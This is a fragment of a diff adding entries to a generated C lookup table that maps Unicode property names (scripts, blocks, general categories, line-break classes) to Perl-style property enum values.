+ { 0, 2236, 1013, 10, 5, PL_L } /* category=letter */,
+ { 0, 5968, 8072, 3, 4, PL_INOSAGE } /* inosage */,
+ { 3, 4554, 24, 15, 1, PL_SB__CL } /* sentencebreak=cl */,
+ { 3, 2229, 1690, 16, 2, PL_CN } /* generalcategory=cn */,
+ { 0, 4010, 0, 6, 0, PL_TANG } /* tangut */,
+ { 0, 7459, 7144, 3, 4, PL_SC__BUGI } /* sc=bugi */,
+ { 56, 8272, 7997, 4, 2, PL_CWCF } /* cwcf=y */,
+ { 6, 7918, 0, 6, 0, PL_THAA } /* thaana */,
+ { 0, 4314, 6606, 13, 10, PL_JG__DALATHRISH } /* joininggroup=dalathrish */,
+ { 3, 2750, 3223, 4, 2, -PL_TERM } /* term=n */,
+ { 3, 6109, 2170, 10, 19, PL_PC } /* category=connectorpunctuation */,
+ { 54, 7994, 1, 4, 1, -PL_IDC } /* idc=n */,
+ { 1, 6472, 6395, 10, 11, PL_WB__SQ } /* wordbreak=singlequote */,
+ { 1, 6890, 7660, 4, 7, PL_INTIRHUTA } /* blk=tirhuta */,
+ { 0, 974, 8, 24, 1, PL_CCC__A } /* canonicalcombiningclass=a */,
+ { 0, 1876, 0, 21, 0, PL_CWL } /* changeswhenlowercased */,
+ { 1, 1354, 7768, 24, 6, -PL_COMPEX } /* fullcompositionexclusion=false */,
+ { 3, 7136, 2877, 6, 10, PL_INDEVANAGARI } /* block=devanagari */,
+ { 64, 4554, 7070, 14, 9, PL_SB__SC } /* sentencebreak=scontinue */,
+ { 3, 8076, 7951, 5, 5, PL_PATWS } /* patws=true */,
+ { 98, 1417, 295, 9, 2, PL_SM } /* category=sm */,
+ { 0, 4542, 8553, 3, 3, PL_TGLG } /* istglg */,
+ { 0, 7380, 8, 4, 1, PL_CCC__A } /* ccc=a */,
+ { 0, 8096, 7359, 4, 7, PL_AVST } /* scx=avestan */,
+ { 2, 720, 0, 30, 0, PL_ENCLOSEDALPHANUMSUP } /* enclosedalphanumericsupplement */,
+ { 0, 7689, 6538, 4, 8, PL_ARABICEXTA } /* isarabicexta */,
+ { 1, 3129, 7597, 17, 7, PL_SHAW } /* scriptextensions=shavian */,
+ { 1, 78, 0, 35, 0, PL_ARABICMATH } /* arabicmathematicalalphabeticsymbols */,
+ { 1, 7288, 1107, 7, 8, PL_SC__KANA } /* script=katakana */,
+ { 0, 8011, 1797, 3, 14, PL_LM } /* gc=modifierletter */,
+ { 1, 7380, 8916, 7, 2, PL_CCC__84 } /* ccc=ccc84 */,
+ { 0, 7471, 468, 7, 5, PL_POSIXPUNCT } /* isposixpunct */,
+ { 2, 6219, 7997, 11, 4, PL_JOINC } /* joincontrol=yes */,
+ { 1, 5336, 0, 8, 0, PL_GREEKEXT } /* greekext */,
+ { 69, 8096, 7145, 5, 3, PL_BUGI } /* scx=bugi */,
+ { 21, 6554, 6547, 3, 9, PL_ASCII } /* inbasiclatin */,
+ { 71, 6029, 0, 8, 0, PL_PHAISTOS } /* phaistos */,
+ { 1, 96, 7997, 10, 4, PL_XPOSIXALPHA } /* alphabetic=yes */,
+ { 3, 7689, 6874, 4, 7, PL_ARABICPFB } /* isarabicpfb */,
+ { 5, 5544, 8187, 13, 2, PL_NV__27 } /* numericvalue=27 */,
+ { 59, 1402, 6450, 24, 11, PL_INPC__TOPANDRIGHT } /* indicpositionalcategory=topandright */,
+ { 0, 8096, 8388, 4, 4, PL_LISU } /* scx=lisu */,
+ { 0, 6554, 4105, 3, 14, PL_BAMUMSUP } /* inbamumsupplement */,
+ { 7, 2100, 8062, 3, 4, PL_OGAM } /* isogham */,
+ { 0, 1503, 751, 3, 28, PL_ENCLOSEDIDEOGRAPHICSUP } /* inenclosedideographicsupplement */,
+ { 0, 8560, 0, 4, 0, PL_TIBT } /* tibt */,
+ { 1, 8816, 8673, 3, 2, PL_NV__14 } /* nv=14 */,
+ { 0, 8572, 1107, 3, 2, PL_WB__KA } /* wb=ka */,
+ { 0, 3129, 8476, 17, 4, PL_COPT } /* scriptextensions=qaac */,
+ { 3, 8196, 7714, 4, 1, PL_AGE__3 } /* age=3 */,
+ { 5, 1746, 4561, 21, 2, PL_WB__EB } /* graphemeclusterbreak=eb */,
+ { 1, 184, 954, 2, 5, PL_GREK } /* isgreek */,
+ { 4, 6890, 6041, 4, 12, PL_PLAYINGCARDS } /* blk=playingcards */,
+ { 9, 7136, 5681, 6, 12, PL_CYRILLICEXTA } /* block=cyrillicexta */,
+ { 0, 5557, 3223, 13, 2, -PL_PATSYN } /* patternsyntax=n */,
+ { 0, 7459, 7956, 3, 5, PL_SC__ADLM } /* sc=adlam */,
+ { 0, 7380, 184, 4, 2, PL_CCC__IS } /* ccc=is */,
+ { 2, 7256, 0, 8, 0, PL_KANAEXTA } /* kanaexta */,
+ { 198, 1797, 0, 4, 0, PL_MODI } /* modi */,
+ { 3, 6890, 1939, 4, 21, PL_CJKCOMPATFORMS } /* blk=cjkcompatibilityforms */,
+ { 5, 8096, 8556, 4, 4, PL_THAI } /* scx=thai */,
+ { 1, 7034, 0, 4, 0, PL_PALM } /* palm */,
+ { 2, 415, 3581, 11, 2, PL_IDEO } /* ideographic=t */,
+ { 0, 7136, 2128, 6, 21, PL_YIJING } /* block=yijinghexagramsymbols */,
+ { 0, 2503, 0, 19, 0, PL_ENCLOSEDALPHANUMSUP } /* enclosedalphanumsup */,
+ { 1, 283, 0, 33, 0, PL_MISCMATHSYMBOLSA } /* miscellaneousmathematicalsymbolsa */,
+ { 0, 7288, 7499, 7, 7, PL_SC__KALI } /* script=kayahli */,
+ { 14, 8096, 8548, 4, 4, PL_TFNG } /* scx=tfng */,
+ { 55, 7822, 0, 6, 0, PL_HATR } /* hatran */,
+ { 0, 7168, 0, 8, 0, PL_EXT } /* extender */,
+ { 14, 184, 8424, 2, 4, PL_NBAT } /* isnbat */,
+ { 9, 4542, 1813, 3, 14, PL_TRANSPORTANDMAP } /* istransportandmap */,
+ { 1, 6890, 4687, 4, 14, PL_CJKCOMPATFORMS } /* blk=cjkcompatforms */,
+ { 1, 8340, 4967, 3, 14, PL_JG__MANICHAEANKAPH } /* jg=manichaeankaph */,
+ { 1, 7459, 7016, 3, 9, PL_SC__PERM } /* sc=oldpermic */,
+ { 4, 7288, 7443, 7, 4, PL_SC__GRAN } /* script=gran */,
+ { 0, 8016, 34, 4, 6, PL_GREXT } /* gcb=extend */,
+ { 12, 6890, 3674, 4, 16, PL_CYPRIOTSYLLABARY } /* blk=cypriotsyllabary */,
+ { 1, 7136, 7569, 6, 7, PL_INOSMANYA } /* block=osmanya */,
+ { 0, 5414, 0, 13, 0, PL_LOWSURROGATES } /* lowsurrogates */,
+ { 0, 8011, 27, 3, 2, PL_LL } /* gc=ll */,
+ { 6, 8096, 8348, 4, 4, PL_KALI } /* scx=kali */,
+ { 0, 8096, 3994, 4, 6, PL_SYRC } /* scx=syriac */,
+ { 2, 6890, 3021, 4, 9, PL_LATINEXTA } /* blk=latinexta */,
+ { 0, 4314, 7176, 13, 8, PL_JG__FARSIYEH } /* joininggroup=farsiyeh */,
+ { 69, 2985, 3223, 3, 2, -PL_IDS } /* ids=n */,
+ { 24, 6554, 1108, 3, 4, PL_INBATAK } /* inbatak */,
+ { 7, 4464, 17, 15, 1, PL_DT__CAN } /* nfdquickcheck=no */,
+ { 0, 186, 7951, 2, 5, PL_CE } /* ce=true */,
+ { 6, 382, 0, 33, 0, PL_SUPSYMBOLSANDPICTOGRAPHS } /* supplementalsymbolsandpictographs */,
+ { 1, 6554, 6567, 3, 9, PL_BOXDRAWING } /* inboxdrawing */,
+ { 2, 6890, 3722, 4, 16, PL_HIGHPUSURROGATES } /* blk=highpusurrogates */,
+ { 0, 6210, 2788, 3, 7, PL_INCHEROKEE } /* incherokee */,
+ { 35, 7478, 6440, 3, 10, PL_SYLO } /* issylotinagri */,
+ { 0, 7380, 2777, 4, 10, PL_CCC__AR } /* ccc=aboveright */,
+ { 21, 8016, 24, 4, 1, PL_GCB__L } /* gcb=l */,
+ { 0, 7459, 8588, 3, 4, PL_SC__YI } /* sc=yiii */,
+ { 6, 6263, 8457, 10, 2, PL_LB__SG } /* linebreak=sg */,
+ { 0, 415, 7768, 11, 2, -PL_IDEO } /* ideographic=f */,
+ { 0, 7828, 7768, 6, 2, -PL_HYPHEN } /* hyphen=f */,
+ { 130, 2787, 0, 11, 0, PL_CHEROKEESUP } /* cherokeesup */,
+ { 2, 8096, 8316, 4, 4, PL_HANO } /* scx=hano */,
+ { 37, 8552, 0, 4, 0, PL_TGLG } /* tglg */,
+ { 15, 6890, 2107, 4, 7, PL_INSINHALA } /* blk=sinhala */,
+ { 1, 1448, 7297, 3, 7, PL_SPECIALS } /* inspecials */,
+ { 0, 6890, 6307, 4, 11, PL_MYANMAREXTA } /* blk=myanmarexta */,
+ { 46, 4284, 0, 15, 0, PL_INHANGUL } /* hangulsyllables */,
+ { 15, 7288, 1566, 7, 6, PL_SC__HANG } /* script=hangul */,
+ { 5, 184, 3458, 2, 4, PL_MANI } /* ismani */,
+ { 15, 8798, 7768, 3, 6, -PL_LOE } /* loe=false */,
+ { 1, 7288, 1981, 7, 8, PL_SC__CYRL } /* script=cyrillic */,
+ { 0, 1746, 5083, 22, 10, PL_GCB__SM } /* graphemeclusterbreak=spacingmark */,
+ { 6, 6554, 1498, 3, 22, PL_BYZANTINEMUSIC } /* inbyzantinemusicalsymbols */,
+ { 0, 8096, 7129, 5, 7, PL_BASS } /* scx=bassavah */,
+ { 1, 6890, 113, 4, 25, PL_DIACRITICALS } /* blk=combiningdiacriticalmarks */,
+ { 2, 6472, 73, 10, 2, PL_LB__EM } /* wordbreak=em */,
+ { 0, 8376, 21, 3, 2, PL_LB__IN } /* lb=in */,
+ { 0, 8816, 7702, 3, 1, PL_NV__2 } /* nv=2 */,
+ { 1, 5544, 7750, 13, 1, PL_NV__8 } /* numericvalue=8 */,
+ { 2, 4542, 8545, 3, 3, PL_TAVT } /* istavt */,
+ { 0, 4314, 5897, 13, 12, PL_JG__MALAYALAMSSA } /* joininggroup=malayalamssa */,
+ { 0, 4089, 0, 15, 0, PL_ARABICEXTA } /* arabicextendeda */,
+ { 0, 7136, 2465, 6, 19, PL_COUNTINGROD } /* block=countingrodnumerals */,
+ { 0, 1887, 7768, 5, 6, -PL_XPOSIXLOWER } /* lower=false */,
+ { 1, 2229, 38, 16, 2, PL_XPOSIXDIGIT } /* generalcategory=nd */,
+ { 135, 2859, 7792, 18, 6, PL_DT__ENC } /* decompositiontype=circle */,
+ { 1, 3147, 0, 18, 0, PL_TAIXUANJING } /* taixuanjingsymbols */,
+ { 0, 8572, 108, 3, 2, PL_WB__MB } /* wb=mb */,
+ { 10, 8340, 6636, 3, 10, PL_JG__KNOTTEDHEH } /* jg=knottedheh */,
+ { 1, 7136, 7043, 6, 9, PL_INPAUCINHAU } /* block=paucinhau */,
+ { 68, 7034, 0, 9, 0, PL_PALM } /* palmyrene */,
+ { 37, 7136, 4299, 6, 15, PL_INIMPERIALARAMAIC } /* block=imperialaramaic */,
+ { 26, 1354, 3223, 24, 2, -PL_COMPEX } /* fullcompositionexclusion=n */,
+ { 0, 8816, 8915, 3, 2, PL_NV__48 } /* nv=48 */,
+ { 6, 184, 133, 2, 4, PL_M } /* ismark */,
+ { 0, 8096, 7443, 4, 7, PL_GRAN } /* scx=grantha */,
+ { 64, 5544, 7709, 13, 2, PL_NV__16 } /* numericvalue=16 */,
+ { 0, 8196, 8657, 4, 3, PL_AGE__2 } /* age=2.0 */,
+ { 37, 1426, 4179, 22, 15, PL_INSC__CONSONANTMEDIAL } /* indicsyllabiccategory=consonantmedial */,
+ { 130, 2100, 6007, 4, 10, PL_HUNG } /* isoldhungarian */,
+ { 1, 8376, 96, 3, 10, PL_LB__AL } /* lb=alphabetic */,
+ { 0, 8011, 8009, 3, 2, PL_CF } /* gc=cf */,
+ { 4, 4554, 138, 14, 2, PL_SB__FO } /* sentencebreak=fo */,
+ { 88, 6890, 6536, 4, 10, PL_ARABICEXTA } /* blk=arabicexta */,
+ { 5, 184, 8281, 3, 3, PL_CYRL } /* iscyrl */,
+ { 0, 7136, 4269, 6, 15, PL_DIACRITICALSSUP } /* block=diacriticalssup */,
+ { 0, 6890, 0, 4, 42, PL_UCASEXT } /* blk=unifiedcanadianaboriginalsyllabicsextended */,
+ { 0, 8011, 3854, 3, 10, PL_SM } /* gc=mathsymbol */,
+ { 0, 3509, 0, 17, 0, PL_PATWS } /* patternwhitespace */,
+ { 9, 4314, 8392, 13, 4, PL_JG__MEEM } /* joininggroup=meem */,
+ { 0, 7689, 7106, 4, 6, PL_ARMN } /* isarmenian */,
+ { 0, 4590, 3581, 2, 2, PL_VS } /* vs=t */,
+ { 50, 6890, 3594, 4, 16, PL_ARABICSUP } /* blk=arabicsupplement */,
+ { 0, 184, 8937, 2, 2, PL_ZL } /* iszl */,
+ { 0, 8096, 7810, 4, 4, PL_GOTH } /* scx=goth */,
+ { 9, 7136, 3390, 6, 16, PL_ETHIOPICEXT } /* block=ethiopicextended */,
+ { 66, 2100, 1487, 4, 2, PL_OLCK } /* isolck */,
+ { 4, 8096, 3458, 4, 10, PL_MANI } /* scx=manichaean */,
+ { 124, 8340, 7176, 3, 8, PL_JG__FARSIYEH } /* jg=farsiyeh */,
+ { 15, 7459, 7436, 3, 4, PL_ELBA } /* sc=elba */,
+ { 2, 21, 5801, 2, 12, PL_KHMERSYMBOLS } /* inkhmersymbols */,
+ { 19, 6890, 2249, 4, 10, PL_INGLAGOLITIC } /* blk=glagolitic */,
+ { 2, 5825, 0, 4, 0, PL_MAHJ } /* mahj */,
+ { 6, 7689, 948, 3, 26, PL_ANCIENTGREEKMUSIC } /* isancientgreekmusicalnotation */,
+ { 0, 7689, 97, 3, 9, PL_XPOSIXALPHA } /* isalphabetic */,
+ { 96, 7459, 7025, 3, 9, PL_ORKH } /* sc=oldturkic */,
+ { 8, 8208, 0, 4, 0, PL_AHOM } /* ahom */,
+ { 1, 7288, 7043, 7, 4, PL_PAUC } /* script=pauc */,
+ { 0, 7136, 3057, 6, 18, PL_ORNAMENTALDINGBATS } /* block=ornamentaldingbats */,
+ { 0, 8572, 5435, 3, 2, PL_WB__ML } /* wb=ml */,
+ { 1, 8096, 7822, 4, 6, PL_HATR } /* scx=hatran */,
+ { 21, 8816, 8911, 3, 2, PL_NV__46 } /* nv=46 */,
+ { 0, 974, 8651, 27, 3, PL_CCC__132 } /* canonicalcombiningclass=ccc132 */,
+ { 0, 7478, 383, 3, 32, PL_SUPSYMBOLSANDPICTOGRAPHS } /* issupplementalsymbolsandpictographs */,
+ { 170, 7136, 4224, 6, 15, PL_CURRENCYSYMBOLS } /* block=currencysymbols */,
+ { 0, 3962, 0, 16, 0, PL_SUPMATHOPERATORS } /* supmathoperators */,
+ { 0, 7136, 2541, 6, 10, PL_JAMO } /* block=hanguljamo */,
+ { 0, 6706, 8759, 10, 3, PL_IN__7 } /* presentin=7.0 */,
+ { 0, 7288, 8237, 8, 3, PL_BATK } /* script=batk */,
+ { 0, 184, 1359, 3, 19, PL_CE } /* iscompositionexclusion */,
+ { 0, 6263, 3658, 10, 16, PL_LB__CL } /* linebreak=closepunctuation */,
+ { 4, 7136, 690, 6, 30, PL_CUNEIFORMNUMBERS } /* block=cuneiformnumbersandpunctuation */,
+ { 15, 8340, 7448, 3, 3, PL_JG__HAH } /* jg=hah */,
+ { 0, 7226, 468, 6, 5, PL_XPOSIXPUNCT } /* xposixpunct */,
+ { 51, 5544, 8630, 13, 3, PL_NV__1_SLASH_9 } /* numericvalue=1/9 */,
+ { 1, 8324, 0, 4, 0, PL_HMNG } /* hmng */,
+ { 2, 7492, 0, 7, 0, PL_KNDA } /* kannada */,
+ { 0, 1417, 5135, 9, 14, PL_ZS } /* category=spaceseparator */,
+ { 0, 8240, 1, 4, 1, PL_BC__EN } /* bc=en */,
+ { 86, 3738, 0, 16, 0, PL_LATIN1 } /* latin1supplement */,
+ { 35, 217, 7345, 6, 7, PL__PERL_IDSTART } /* _perl_idstart */,
+ { 6, 6890, 6806, 4, 10, PL_INWARANGCITI } /* blk=warangciti */,
+ { 4, 6472, 108, 10, 2, PL_WB__MB } /* wordbreak=mb */,
+ { 0, 7288, 4299, 7, 15, PL_ARMI } /* script=imperialaramaic */,
+ { 7, 2859, 4653, 18, 6, PL_DT__SQR } /* decompositiontype=square */,
+ { 53, 6483, 0, 4, 0, PL_XIDC } /* xidc */,
+ { 1, 6263, 23, 10, 2, PL_LB__AL } /* linebreak=al */,
+ { 29, 8096, 7611, 4, 7, PL_SOYO } /* scx=soyombo */,
+ { 0, 8036, 6798, 4, 8, PL_CN } /* isunassigned */,
+ { 0, 974, 8642, 27, 3, PL_CCC__122 } /* canonicalcombiningclass=ccc122 */,
+ { 2, 7696, 7768, 6, 2, -PL_XPOSIXSPACE } /* wspace=f */,
+ { 1, 6263, 6197, 10, 11, PL_LB__IN } /* linebreak=inseperable */,
+ { 77, 974, 7744, 24, 1, PL_CCC__7 } /* canonicalcombiningclass=7 */,
+ { 1, 3946, 7997, 16, 4, PL_STERM } /* sentenceterminal=yes */,
+ { 3, 6208, 7951, 5, 5, PL_JOINC } /* joinc=true */,
+ { 2, 7136, 7780, 6, 6, PL_INCARIAN } /* block=carian */,
+ { 20, 1306, 0, 13, 0, PL_M } /* combiningmark */,
+ { 37, 6109, 4225, 10, 13, PL_SC } /* category=currencysymbol */,
+ { 1, 7459, 5777, 3, 4, PL_HEBR } /* sc=hebr */,
+ { 0, 1417, 468, 9, 5, PL_P } /* category=punct */,
+ { 0, 6890, 7971, 4, 5, PL_INBATAK } /* blk=batak */,
+ { 1, 7459, 7007, 3, 9, PL_ITAL } /* sc=olditalic */,
+ { 1, 6208, 7997, 5, 2, PL_JOINC } /* joinc=y */,
+ { 4, 8096, 2636, 4, 9, PL_MONG } /* scx=mongolian */,
+ { 0, 184, 2598, 2, 4, PL_MERO } /* ismero */,
+ { 3, 7136, 283, 6, 33, PL_MISCMATHSYMBOLSA } /* block=miscellaneousmathematicalsymbolsa */,
+ { 3, 11, 3223, 2, 3, -PL_DI } /* di=no */,
+ { 9, 7459, 3994, 3, 6, PL_SC__SYRC } /* sc=syriac */,
+ { 9, 8240, 5079, 3, 14, PL_BC__NSM } /* bc=nonspacingmark */,
+ { 3, 3516, 7997, 10, 4, PL_XPOSIXSPACE } /* whitespace=yes */,
+ { 2, 7224, 5252, 8, 6, PL_XPOSIXXDIGIT } /* isxposixxdigit */,
+ { 3, 974, 8685, 27, 2, PL_CCC__24 } /* canonicalcombiningclass=ccc24 */,
+ { 170, 7168, 3581, 8, 2, PL_EXT } /* extender=t */,
+ { 25, 7136, 600, 6, 30, PL_CJKEXTD } /* block=cjkunifiedideographsextensiond */,
+ { 0, 7478, 7598, 3, 6, PL_SHAW } /* isshavian */,
+ { 5, 7144, 0, 4, 0, PL_BUGI } /* bugi */,
+ { 1, 1686, 0, 16, 0, PL_INDICNUMBERFORMS } /* indicnumberforms */,
+ { 2, 8288, 3003, 3, 4, PL_DT__INIT } /* dt=init */,
+ { 12, 184, 6546, 2, 10, PL_ASCII } /* isbasiclatin */,
+ { 25, 184, 3610, 2, 8, PL_BOPO } /* isbopomofo */,
+ { 0, 8240, 8813, 3, 3, PL_BC__NSM } /* bc=nsm */,
+ { 7, 8011, 6362, 3, 11, PL_SO } /* gc=othersymbol */,
+ { 1, 7288, 8296, 7, 4, PL_GONM } /* script=gonm */,
+ { 5, 7136, 42, 6, 16, PL_CJKCOMPAT } /* block=cjkcompatibility */,
+ { 8, 6210, 601, 3, 29, PL_CJKEXTD } /* incjkunifiedideographsextensiond */,
+ { 16, 4402, 1798, 3, 14, PL_MODIFIERLETTERS } /* inmodifierletters */,
+ { 3, 8816, 7720, 3, 5, PL_NV__40000 } /* nv=40000 */,
+ { 2, 7168, 7768, 8, 6, -PL_EXT } /* extender=false */,
+ { 0, 6713, 8768, 3, 3, PL_IN__9 } /* in=9.0 */,
+ { 53, 7689, 6799, 3, 7, PL_ASSIGNED } /* isassigned */,
+ { 1, 8572, 72, 3, 2, PL_WB__LE } /* wb=le */,
+ { 2, 7168, 7768, 8, 2, -PL_EXT } /* extender=f */,
+ { 1, 7689, 4660, 3, 13, PL_ANCIENTSYMBOLS } /* isancientsymbols */,
+ { 0, 8816, 7744, 3, 2, PL_NV__70 } /* nv=70 */,
+ { 0, 96, 7768, 5, 6, -PL_XPOSIXALPHA } /* alpha=false */,
+ { 23, 974, 8646, 24, 2, PL_CCC__29 } /* canonicalcombiningclass=29 */,
+ { 134, 8340, 5009, 3, 14, PL_JG__MANICHAEANTETH } /* jg=manichaeanteth */,
+ { 56, 184, 7144, 2, 8, PL_BUGI } /* isbuginese */,
+ { 1, 18, 7951, 2, 5, PL_RI } /* ri=true */,
+ { 0, 6428, 0, 11, 0, PL_SUPERANDSUB } /* superandsub */,
+ { 2, 8196, 8882, 4, 3, PL_AGE__6_DOT_3 } /* age=v63 */,
+ { 0, 974, 7714, 27, 2, PL_CCC__30 } /* canonicalcombiningclass=ccc30 */,
+ { 32, 8504, 72, 3, 2, PL_SB__LE } /* sb=le */,
+ { 12, 7828, 7951, 6, 5, PL_HYPHEN } /* hyphen=true */,
+ { 8, 7380, 3254, 4, 13, PL_CCC__202 } /* ccc=attachedbelow */,
+ { 1, 5362, 0, 6, 0, PL_IPAEXT } /* ipaext */,
+ { 0, 7288, 2636, 7, 4, PL_SC__MONG } /* script=mong */,
+ { 32, 184, 3738, 2, 16, PL_LATIN1 } /* islatin1supplement */,
+ { 0, 8096, 7152, 4, 4, PL_DUPL } /* scx=dupl */,
+ { 1, 3129, 2598, 17, 4, PL_MERO } /* scriptextensions=mero */,
+ { 15, 3129, 8388, 17, 4, PL_LISU } /* scriptextensions=lisu */,
+ { 1, 7136, 6646, 6, 10, PL_MISCARROWS } /* block=miscarrows */,
+ { 133, 184, 24, 2, 1, PL_L } /* isl */,
+ { 1, 4464, 7996, 4, 3, PL_NFDQC__Y } /* nfdqc=y */,
+ { 0, 7380, 7708, 4, 3, PL_CCC__216 } /* ccc=216 */,
+ { 0, 7459, 4134, 3, 7, PL_BRAI } /* sc=braille */,
+ { 0, 7380, 7708, 4, 2, PL_CCC__21 } /* ccc=21 */,
+ { 178, 1426, 4715, 22, 14, PL_INSC__CONSONANTFINAL } /* indicsyllabiccategory=consonantfinal */,
+ { 0, 4757, 7997, 14, 2, PL_GREXT } /* graphemeextend=y */,
+ { 13, 184, 1372, 2, 2, PL_LU } /* islu */,
+ { 5, 21, 3738, 2, 9, PL_LATIN1 } /* inlatin1sup */,
+ { 0, 8376, 5669, 3, 12, PL_LB__SY } /* lb=breaksymbols */,
+ { 0, 2246, 2486, 4, 17, PL_INEGYPTIANHIEROGLYPHS } /* inegyptianhieroglyphs */,
+ { 0, 4554, 49, 14, 2, PL_SB__AT } /* sentencebreak=at */,
+ { 1, 6506, 2129, 3, 20, PL_YIJING } /* isyijinghexagramsymbols */,
+ { 4, 3509, 3223, 17, 2, -PL_PATWS } /* patternwhitespace=n */,
+ { 2, 2369, 3212, 20, 7, PL_VO__U } /* verticalorientation=upright */,
+ { 0, 7345, 7997, 7, 2, PL_IDS } /* idstart=y */,
+ { 0, 8376, 1204, 3, 2, PL_LB__PO } /* lb=po */,
+ { 6, 8096, 6406, 4, 11, PL_SORA } /* scx=sorasompeng */,
+ { 76, 8016, 125, 4, 2, PL_LB__CR } /* gcb=cr */,
+ { 154, 3290, 0, 4, 0, PL_UCAS } /* ucas */,
+ { 14, 184, 4225, 3, 13, PL_SC } /* iscurrencysymbol */,
+ { 25, 8011, 3914, 3, 5, PL_C } /* gc=other */,
+ { 4, 2128, 0, 6, 0, PL_YIJING } /* yijing */,
+ { 0, 2108, 1812, 4, 4, PL_INHATRAN } /* inhatran */,
+ { 0, 6647, 6100, 4, 9, PL_L_AMP_ } /* iscasedletter */,
+ { 3, 8340, 6274, 3, 11, PL_JG__MALAYALAMJA } /* jg=malayalamja */,
+ { 1, 7136, 1960, 6, 21, PL_CJKRADICALSSUP } /* block=cjkradicalssupplement */,
+ { 29, 3003, 0, 18, 0, PL_PI } /* initialpunctuation */,
+ { 7, 2221, 4046, 3, 4, PL_LB__H3 } /* hst=lvt */,
+ { 12, 1417, 1392, 9, 9, PL_CS } /* category=surrogate */,
+ { 1, 974, 8632, 24, 2, PL_CCC__91 } /* canonicalcombiningclass=91 */,
+ { 47, 7380, 8224, 4, 4, PL_CCC__216 } /* ccc=atar */,
+ { 0, 4687, 0, 14, 0, PL_CJKCOMPATFORMS } /* cjkcompatforms */,
+ { 0, 8044, 0, 4, 0, PL_PHLI } /* phli */,
+ { 8, 8096, 4784, 4, 4, PL_CHAM } /* scx=cham */,
+ { 60, 7007, 0, 9, 0, PL_ITAL } /* olditalic */,
+ { 0, 7380, 5220, 4, 1, PL_CCC__0 } /* ccc=0 */,
+ { 25, 1876, 7997, 21, 2, PL_CWL } /* changeswhenlowercased=y */,
+ { 0, 6890, 1635, 4, 23, PL_SUPPUNCTUATION } /* blk=supplementalpunctuation */,
+ { 324, 3129, 3288, 17, 17, PL_AGHB } /* scriptextensions=caucasianalbanian */,
+ { 0, 7136, 8400, 6, 4, PL_INMIAO } /* block=miao */,
+ { 4, 7136, 1589, 6, 9, PL_LATINEXTE } /* block=latinexte */,
+ { 0, 6890, 5957, 4, 12, PL_INMENDEKIKAKUI } /* blk=mendekikakui */,
+ { 0, 7478, 2675, 3, 3, PL_SUND } /* issund */,
+ { 0, 8608, 0, 4, 0, PL_ZZZZ } /* zzzz */,
+ { 0, 1746, 4047, 21, 3, PL_LB__H3 } /* graphemeclusterbreak=lvt */,
+ { 2, 184, 982, 2, 2, PL_L_AMP_ } /* islc */,
+ { 52, 184, 8492, 2, 4, PL_RUNR } /* isrunr */,
+ { 1, 7136, 892, 6, 18, PL_INVS } /* block=variationselectors */,
+ { 135, 3129, 2002, 17, 21, PL_PRTI } /* scriptextensions=inscriptionalparthian */,
+ { 72, 1876, 7997, 21, 4, PL_CWL } /* changeswhenlowercased=yes */,
+ { 82, 8288, 2369, 3, 8, PL_DT__VERT } /* dt=vertical */,
+ { 13, 7226, 8001, 6, 5, PL_XPOSIXCNTRL } /* xposixcntrl */,
+ { 5, 6890, 1282, 4, 24, PL_CJKSYMBOLS } /* blk=cjksymbolsandpunctuation */,
+ { 0, 6890, 6926, 4, 9, PL_INKHUDAWADI } /* blk=khudawadi */,
+ { 1, 3129, 7272, 17, 8, PL_MAHJ } /* scriptextensions=mahajani */,
+ { 4, 8468, 0, 4, 0, PL_MIAO } /* plrd */,
+ { 3, 8096, 2598, 4, 19, PL_MERO } /* scx=meroitichieroglyphs */,
+ { 2, 3129, 6626, 17, 4, PL_KHAR } /* scriptextensions=khar */,
+ { 4, 974, 8681, 24, 3, PL_CCC__BR } /* canonicalcombiningclass=222 */,
+ { 2, 6890, 6881, 4, 9, PL_INBHAIKSUKI } /* blk=bhaiksuki */,
+ { 2, 8096, 8071, 4, 5, PL_OSGE } /* scx=osage */,
+ { 3, 8894, 1548, 3, 2, PL_VO__TR } /* vo=tr */,
+ { 3, 7366, 0, 4, 0, PL_BENG } /* beng */,
+ { 10, 4449, 26, 14, 1, PL_NFCQC__Y } /* nfcquickcheck=y */,
+ { 1, 4542, 7633, 3, 6, PL_TGLG } /* istagalog */,
+ { 0, 2229, 5253, 16, 5, PL_XPOSIXDIGIT } /* generalcategory=digit */,
+ { 14, 1448, 6737, 3, 9, PL_INSAURASHTRA } /* insaurashtra */,
+ { 0, 6890, 7408, 4, 7, PL_CJKEXTD } /* blk=cjkextd */,
+ { 0, 8816, 8617, 3, 2, PL_NV__31 } /* nv=31 */,
+ { 4, 6210, 1659, 3, 21, PL_CJKCOMPATIDEOGRAPHSSUP } /* incjkcompatideographssup */,
+ { 2, 2787, 0, 4, 0, PL_CHER } /* cher */,
+ { 26, 8816, 7726, 3, 6, PL_NV__432000 } /* nv=432000 */,
+ { 0, 7380, 2289, 4, 4, PL_CCC__L } /* ccc=left */,
+ { 2, 8376, 496, 3, 2, PL_LB__NU } /* lb=nu */,
+ { 3, 184, 7499, 2, 7, PL_KALI } /* iskayahli */,
+ { 129, 7136, 3271, 6, 17, PL_UCAS } /* block=canadiansyllabics */,
+ { 1, 2229, 699, 16, 6, PL_N } /* generalcategory=number */,
+ { 226, 6554, 2409, 3, 5, PL_INBRAHMI } /* inbrahmi */,
+ { 4, 1206, 7647, 3, 6, PL_INTAIVIET } /* intaiviet */,
+ { 0, 5765, 7997, 12, 4, PL_GRBASE } /* graphemebase=yes */,
+ { 50, 4419, 0, 15, 0, PL_MISCPICTOGRAPHS } /* miscpictographs */,
+ { 0, 7288, 5400, 8, 7, PL_BALI } /* script=balinese */,
+ { 1, 8011, 3690, 3, 16, PL_PF } /* gc=finalpunctuation */,
+ { 0, 7459, 8424, 3, 4, PL_NBAT } /* sc=nbat */,
+ { 0, 7136, 6776, 6, 10, PL_SUPARROWSB } /* block=suparrowsb */,
+ { 0, 8021, 7997, 5, 2, PL_GREXT } /* grext=y */,
+ { 0, 6713, 8711, 3, 3, PL_IN__3_DOT_1 } /* in=3.1 */,
+ { 1, 6706, 8657, 10, 3, PL_IN__2 } /* presentin=2.0 */,
+ { 131, 7459, 8432, 3, 4, PL_NKO } /* sc=nkoo */,
+ { 0, 8016, 1690, 4, 2, PL_GCB__CN } /* gcb=cn */,
+ { 0, 5134, 6042, 3, 11, PL_PLAYINGCARDS } /* isplayingcards */,
+ { 5, 4440, 2251, 4, 18, PL_GLAGOLITICSUP } /* inglagoliticsupplement */,
+ { 263, 6263, 7264, 10, 8, PL_LB__LF } /* linebreak=linefeed */,
